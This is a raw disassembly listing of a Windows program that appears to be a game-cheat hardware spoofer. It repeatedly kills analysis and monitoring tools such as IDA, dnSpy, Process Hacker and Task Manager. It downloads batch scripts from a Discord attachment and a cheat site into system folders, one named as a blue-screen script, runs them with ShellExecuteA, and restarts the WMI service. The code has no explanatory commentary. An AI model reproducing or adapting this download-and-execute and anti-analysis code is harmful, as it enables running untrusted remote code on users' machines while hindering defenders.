lea rcx, [rsp + 0xd4f0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd510]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd530]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd550]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd570]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd590]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd5b0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd5d0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd5f0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd610]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd630]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd650]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd670]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd690]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd6b0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd6d0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd6f0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd710]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd730]
call fcn.14005d8e0
call fcn.1400f6410
mov r8b, 1
mov edx, 2
lea rcx, str.___Use_A_Vpn_Before_Spoofing
call fcn.14006be90
movss xmm2, dword [0x14039ce1c]
movss xmm1, dword [0x14039ce68]
lea rcx, [rsp + 0x5b8]
call fcn.14005eef0
lea rdx, [rsp + 0x5b8]
lea rcx, str.Mac_Adress
call fcn.1400f5190
movzx eax, al
test eax, eax
je 0x140079342
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xd870]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xd850]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xd850]
call fcn.14005d8d0
mov qword [rsp + 0x5c0], rax
lea rcx, [rsp + 0xd870]
call fcn.14005d8d0
mov qword [rsp + 0x5c8], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x5c0]
mov rdx, qword [rsp + 0x5c8]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, str.net_stop_winmgmt__y__nul
call fcn.1402b6aa8
lea rcx, str.net_start_winmgmt__y__nul
call fcn.1402b6aa8
lea rcx, str.sc_stop_winmgmt
call fcn.1402b6aa8
lea rcx, str.sc_start_winmgmt
call fcn.1402b6aa8
lea rcx, str.ipconfig__flushdns
call fcn.1402b6aa8
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_macchanger.bat
lea rcx, [rsp + 0xd830]
call fcn.14005d9d0
nop
lea rdx, str.C:WindowsSystemmacchanger.bat
lea rcx, [rsp + 0xd810]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xd810]
call fcn.14005d8d0
mov qword [rsp + 0x5d0], rax
lea rcx, [rsp + 0xd830]
call fcn.14005d8d0
mov qword [rsp + 0x5d8], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x5d0]
mov rdx, qword [rsp + 0x5d8]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_macandcountrystuff_2NDMACCHANGER.bat
lea rcx, [rsp + 0xea50]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_ado2NDMACCHANGER.bat
lea rcx, [rsp + 0xa2f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xa2f0]
call fcn.14005d8d0
mov qword [rsp + 0x5e0], rax
lea rcx, [rsp + 0xa2f0]
call fcn.14005d8d0
mov qword [rsp + 0x5e8], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x5e0]
mov rdx, qword [rsp + 0x5e8]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_macandcountrystuff_IPv4.bat
lea rcx, [rsp + 0xd7f0]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoIPv4.bat
lea rcx, [rsp + 0xd7d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xd7d0]
call fcn.14005d8d0
mov qword [rsp + 0x5f0], rax
lea rcx, [rsp + 0xd7f0]
call fcn.14005d8d0
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x5f0]
mov rdx, qword [rsp + 0x5f8]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_macandcountrystuff_IPv6.bat
lea rcx, [rsp + 0xd7b0]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoIPv6.bat
lea rcx, [rsp + 0xd790]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xd790]
call fcn.14005d8d0
mov qword [rsp + 0x600], rax
lea rcx, [rsp + 0xd7b0]
call fcn.14005d8d0
mov qword [rsp + 0x608], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x600]
mov rdx, qword [rsp + 0x608]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystemmacchanger.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_ado2NDMACCHANGER.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoIPv4.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoIPv6.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
call fcn.14006ba20
call fcn.14006ba70
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
